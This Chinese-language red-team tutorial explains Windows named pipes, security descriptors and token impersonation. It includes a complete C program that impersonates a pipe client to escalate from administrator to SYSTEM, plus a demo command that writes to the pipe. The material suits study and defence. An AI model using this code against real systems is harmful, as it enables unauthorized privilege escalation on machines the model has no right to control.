利用命名管道進行權限提升
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
No.1 前言
命名管道是Windows 比較經典的一個概念并且Linux也有,但是兩者用途并非相同。那么什么是命名管道呢?
Win32 SDK定義管道為兩種:
匿名管道(Anonymous pipes ):匿名管道通常在父進程和子進程之間傳輸數據。它們通常用于重定向子進程與其父進程之間的標準輸入和輸出,且不支持通過網絡進行通信。

命名管道(Named pipes):命名管道可以在不相關的進程之間傳輸數據,前提是管道的權限授予對客戶端進程的適當訪問權限。

著重講命名管道:它可以在同一臺機器或不同機器間的不同進程間提供通信,擁有一個Pipe Server和一個或者多個Pipe Client,在它們之間進行單向或者雙向通信的管道。
我們的目的是為了通過命名管道來進行權限的提升,這里還需要涉及到安全描述符(Security Descriptor)的概念。

在Windows系統中,對某進程或者線程的權限信息是使用安全描述符來定義的。它是一個結構體,由 安全標識符(Security Identifies)、DACL、SACL以及其自身控制位組成,其中DACL和SACL組成訪問控制列表(ACL,Access Control List)。
主要來看DACL,DACL是安全描述符中最重要的,它里面包含零個或多個訪問控制項(ACE,Access Control Entry),每個訪問控制項的內容描述了允許或拒絕特定賬戶對這個對象執行特定操作。在Win32實體程序中設置了一個NULL DACL,那么意味著任何人都有權限對其進行訪問控制。
設置安全描述符的API函數為 SetSecurityDescriptorDacl
關于更多訪問控制模型內容,請參考:Security Descriptors
No.2 命名管道的利用
利用命名管道提權的重要原因:命名管道允許服務端進程模擬已連接的客戶端進程,API名稱為*ImpersonateNamedPipeClient() *
如果使用非管理員權限去啟動命名管道的服務端進程進行監聽,而以管理員的客戶端進行連接,不一定能夠成功,想要進行提權,啟動服務端的用戶還需要某些特權,如:SeImpersonatePrivilege、等等
使用** whoami /priv **查看權限
而該權限一般是系統使用在本地服務賬號或者網絡服務賬號的,所以當我們因為某服務賬號啟動服務的漏洞而獲得權限之后,就有了 Local Service或者Network Service權限,看似權限很低,但可以利用他進行權限提升至System權限
從管理員提升至SYSTEM權限
首先,先拋出代碼段
#include "stdafx.h"
#define SERVICE_NAME "Elevate"
#define PIPE_PATH "\\\\.\\pipe\\elevate"
int main()
{
char directory[_MAX_PATH];
char servicePath[_MAX_PATH];
char serviceName[128];
char recv[1024];
DWORD bytes;
bool connected;
HINSTANCE hinst;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
HANDLE token;
HANDLE newtoken;
HANDLE ptoken;
HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
NULL
);
if (namedPipe == INVALID_HANDLE_VALUE) {
printf("[!] Could not create named pipe\n");
return 0;
}
else {
printf("[*] Named pipe created: %s\n", PIPE_PATH);
}
srand(GetTickCount());
connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (connected) {
for (;;) {
printf("[*] Waiting for pipe connection...\n");
ZeroMemory(recv, sizeof(recv));
// 讀取客戶端連接信息
ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);
printf("[*] Read %d Bytes: %s\n", bytes, recv);
printf("[*] Attempting to impersonate client\n");
if (ImpersonateNamedPipeClient(namedPipe) == 0) {
printf("[!] Error impersonating client\n");
return 0;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
printf("[!] Error opening thread token\n");
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) {
printf("[!] Error opening process token\n");
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
printf("[!] Error duplicating thread token\n");
}
printf("[*] Impersonated SYSTEM user successfully\n");
if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError());
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 使用CreateProcessAsUser API提權失敗的情況下,使用CreateProcessWithTokenW 函數
if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
printf("[!] CreateProcessWithToken failed (%d), trying another method.\n", GetLastError());
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessAsUserW(newtoken,NULL,L"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOW)&si,&pi)) {
printf("[!] CreateProcessAsUserW failed (%d).\n", GetLastError());
return 0;
}
return 0;
}
}
printf("[*] All Done.. enjoy... press any key to finish\n");
getchar();
return 0;
}
}
return 0;
}
編程方面主要步驟為:
初始化命名管道
服務端啟動監聽
客戶端傳遞信息
服務端接受信息
利用客戶端提供權限進行提權
操作演示
為了方便演示,此次使用psexec提前進行提權獲取system權限,以此作為傳遞信息的客戶端。

從上面的演示中可以直觀的理解編程順序,需要system權限的客戶端與管道進行通信,之前說為了掩飾而提前進行的提權,實際上當我們是管理員權限時,有很多方式使Windows利用system權限對管道發起通信,例如:創建服務(PSEXEC的原理)、創建計劃任務等等
echo hello >> \\.\pipe\elevate
服務端模擬客戶端,使用特權為 SeImpersonatePrivilege (身份驗證后模擬客戶端)
后續講解的管道土豆提權,從服務賬號到SYSTEM權限就是利用這一特性。
注:仔細看到GIF中演示的一段:
[!] CreateProcessAsUser failed (1314), trying another method.
是因為在編程過程中使用了多種API創建進程,代碼中已給出注釋。
No.3 總結
命名管道是紅隊在橫向移動時非常重要的一種手段,可以作為信息傳遞的媒介,同時也可以利用權限的特性,進行提權。
原創: 孤島 雷神眾測
原文鏈接:https://mp.weixin.qq.com/s/604GdD9Z9y9Ms7e...